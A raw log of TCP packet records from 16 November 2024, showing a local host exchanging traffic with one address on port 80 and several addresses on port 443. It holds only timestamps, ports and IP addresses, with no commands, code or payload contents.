Nov 16, 2024 13:01:41.517229080 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.555967093 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.560996056 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.769879103 CET	443	49920	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:41.770133018 CET	49920	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:41.770145893 CET	443	49920	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:41.771636963 CET	443	49920	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:41.771688938 CET	49920	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:41.772074938 CET	49920	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:41.772155046 CET	443	49920	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:41.772427082 CET	49920	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:41.772427082 CET	49920	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:41.772434950 CET	443	49920	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:41.772469044 CET	443	49920	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:41.834736109 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.834753036 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.834777117 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.834790945 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.834806919 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.834824085 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.834839106 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.834844112 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.834844112 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.834855080 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.834872961 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.834877968 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.834877968 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.834887981 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.834908962 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.834924936 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.834924936 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.834933996 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.834949970 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.834969997 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.834988117 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.834988117 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.834988117 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.834992886 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835002899 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835011959 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835033894 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835050106 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835055113 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835055113 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835066080 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835072994 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835088015 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835102081 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835107088 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835107088 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835120916 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835138083 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835150957 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835150957 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835150957 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835163116 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835170031 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835187912 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835203886 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835216045 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835216045 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835217953 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835235119 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835237026 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835237026 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835237026 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835249901 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835254908 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835268974 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835277081 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835289001 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835300922 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835303068 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835330963 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835347891 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835362911 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835378885 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835386038 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835386038 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835386038 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835407019 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835433960 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835443974 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835443974 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835453033 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835479975 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835505962 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835505962 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835505962 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835530996 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835532904 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835546017 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835570097 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835582972 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835582972 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835586071 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835602045 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835617065 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835632086 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835647106 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835654974 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835654974 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835654974 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835664988 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835681915 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835710049 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835710049 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835710049 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835710049 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835731030 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835747004 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835761070 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835776091 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835792065 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835805893 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835813046 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835813046 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835813046 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835828066 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835832119 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835849047 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835850000 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835865974 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835880995 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835895061 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835905075 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835905075 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835905075 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835911036 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835930109 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835939884 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835944891 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835958958 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835958958 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835958958 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.835962057 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835979939 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.835998058 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.836014032 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.836019993 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.836019993 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.836019993 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.836030960 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.836051941 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.836069107 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.836071968 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.836071968 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.836071968 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.836085081 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.836102962 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.836137056 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.836137056 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.836137056 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.836143970 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.836157084 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:41.836256027 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:41.876068115 CET	49920	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:42.012706995 CET	443	49920	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:42.012986898 CET	443	49922	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.013777018 CET	49920	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:42.013839006 CET	443	49920	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:42.014540911 CET	443	49920	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:42.014583111 CET	49920	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:42.014611959 CET	49920	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:42.016315937 CET	49922	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.016359091 CET	443	49922	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.016911030 CET	49922	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.016916990 CET	443	49922	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.017201900 CET	443	49921	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.017770052 CET	49921	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.017782927 CET	443	49921	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.018381119 CET	49921	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.018384933 CET	443	49921	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.047408104 CET	443	49925	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.048253059 CET	49925	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.048273087 CET	443	49925	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.048644066 CET	49925	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.048649073 CET	443	49925	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.049412012 CET	443	49924	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.050013065 CET	49924	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.050093889 CET	443	49924	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.050354958 CET	49924	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.050371885 CET	443	49924	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.053248882 CET	443	49926	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.053575993 CET	49926	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.053610086 CET	443	49926	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.053910017 CET	49926	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.053920984 CET	443	49926	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.143179893 CET	443	49922	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.143263102 CET	443	49922	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.143603086 CET	49922	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.148180008 CET	443	49921	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.148361921 CET	443	49921	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.148607016 CET	49921	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.155839920 CET	49922	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.155869007 CET	443	49922	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.155890942 CET	49922	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.155899048 CET	443	49922	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.159578085 CET	49921	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.159578085 CET	49921	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.159605026 CET	443	49921	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.159622908 CET	443	49921	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.166393995 CET	443	49923	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:42.166733027 CET	49923	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:42.166755915 CET	443	49923	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:42.168267012 CET	443	49923	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:42.168335915 CET	49923	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:42.168807983 CET	49923	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:42.168875933 CET	443	49923	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:42.169066906 CET	49923	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:42.169075012 CET	443	49923	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:42.169150114 CET	49923	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:42.169171095 CET	443	49923	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:42.177794933 CET	443	49925	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.177882910 CET	443	49925	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.178025007 CET	49925	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.179512024 CET	443	49924	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.179589033 CET	443	49924	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.180495024 CET	49924	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.184627056 CET	443	49926	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.184710026 CET	443	49926	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.184839964 CET	49926	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.195156097 CET	49925	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.195174932 CET	443	49925	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.195224047 CET	49925	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.195230007 CET	443	49925	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.196652889 CET	49924	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.196705103 CET	443	49924	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.196734905 CET	49924	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.196752071 CET	443	49924	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.196782112 CET	49926	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.196793079 CET	443	49926	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.196820021 CET	49926	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.196830034 CET	443	49926	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.199618101 CET	49927	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.199649096 CET	443	49927	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.199932098 CET	49927	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.234244108 CET	49928	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.234298944 CET	443	49928	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.234368086 CET	49928	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.234930038 CET	49927	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.234951973 CET	443	49927	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.235099077 CET	49929	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.235145092 CET	443	49929	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.235268116 CET	49929	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.235446930 CET	49929	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.235461950 CET	443	49929	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.235845089 CET	49930	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.235855103 CET	443	49930	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.235903025 CET	49930	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.236025095 CET	49930	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.236036062 CET	443	49930	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.236742020 CET	49931	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.236756086 CET	443	49931	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.236886024 CET	49928	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.236895084 CET	443	49928	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.236912966 CET	49931	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.237241983 CET	49931	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.237251997 CET	443	49931	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.291630983 CET	49923	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:42.366867065 CET	443	49923	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:42.369090080 CET	49923	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:42.369147062 CET	443	49923	52.168.117.170	192.168.2.5
Nov 16, 2024 13:01:42.369204998 CET	49923	443	192.168.2.5	52.168.117.170
Nov 16, 2024 13:01:42.550240993 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:42.550369978 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:42.557492971 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:42.557508945 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:42.952477932 CET	443	49929	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.953036070 CET	49929	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.953072071 CET	443	49929	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.953603983 CET	49929	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.953610897 CET	443	49929	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.957698107 CET	443	49927	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.958138943 CET	49927	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.958162069 CET	443	49927	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.958662987 CET	49927	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.958667040 CET	443	49927	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.968662024 CET	443	49931	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.969042063 CET	49931	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.969073057 CET	443	49931	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.969513893 CET	49931	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.969520092 CET	443	49931	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.969749928 CET	443	49928	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.970060110 CET	49928	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.970091105 CET	443	49928	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:42.970437050 CET	49928	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:42.970448017 CET	443	49928	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.081695080 CET	443	49929	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.081768036 CET	443	49929	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.082045078 CET	49929	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.082092047 CET	49929	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.082112074 CET	443	49929	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.082123041 CET	49929	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.082130909 CET	443	49929	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.083298922 CET	443	49927	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.083395004 CET	443	49927	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.083493948 CET	49927	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.083599091 CET	49927	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.083626032 CET	443	49927	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.083636999 CET	49927	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.083642960 CET	443	49927	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.086055040 CET	49932	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.086091042 CET	443	49932	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.086158037 CET	49933	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.086204052 CET	49932	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.086205959 CET	443	49933	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.086251020 CET	49933	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.086426973 CET	49932	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.086436987 CET	443	49932	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.086524010 CET	49933	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.086545944 CET	443	49933	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.097803116 CET	443	49931	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.097872019 CET	443	49931	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.097985983 CET	443	49931	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.098037004 CET	49931	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.098073959 CET	49931	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.098164082 CET	49931	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.098205090 CET	443	49931	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.098234892 CET	49931	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.098246098 CET	443	49931	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.099378109 CET	443	49928	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.099461079 CET	443	49928	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.099524021 CET	49928	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.099647999 CET	49928	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.099666119 CET	443	49928	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.099675894 CET	49928	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.099680901 CET	443	49928	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.101326942 CET	49934	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.101340055 CET	443	49934	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.101399899 CET	49934	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.101525068 CET	49934	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.101531982 CET	443	49934	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.101989985 CET	49935	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.102032900 CET	443	49935	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.102094889 CET	49935	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.102222919 CET	49935	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:43.102241993 CET	443	49935	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:43.198793888 CET	443	49824	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:43.198823929 CET	443	49824	40.126.32.76	192.168.2.5
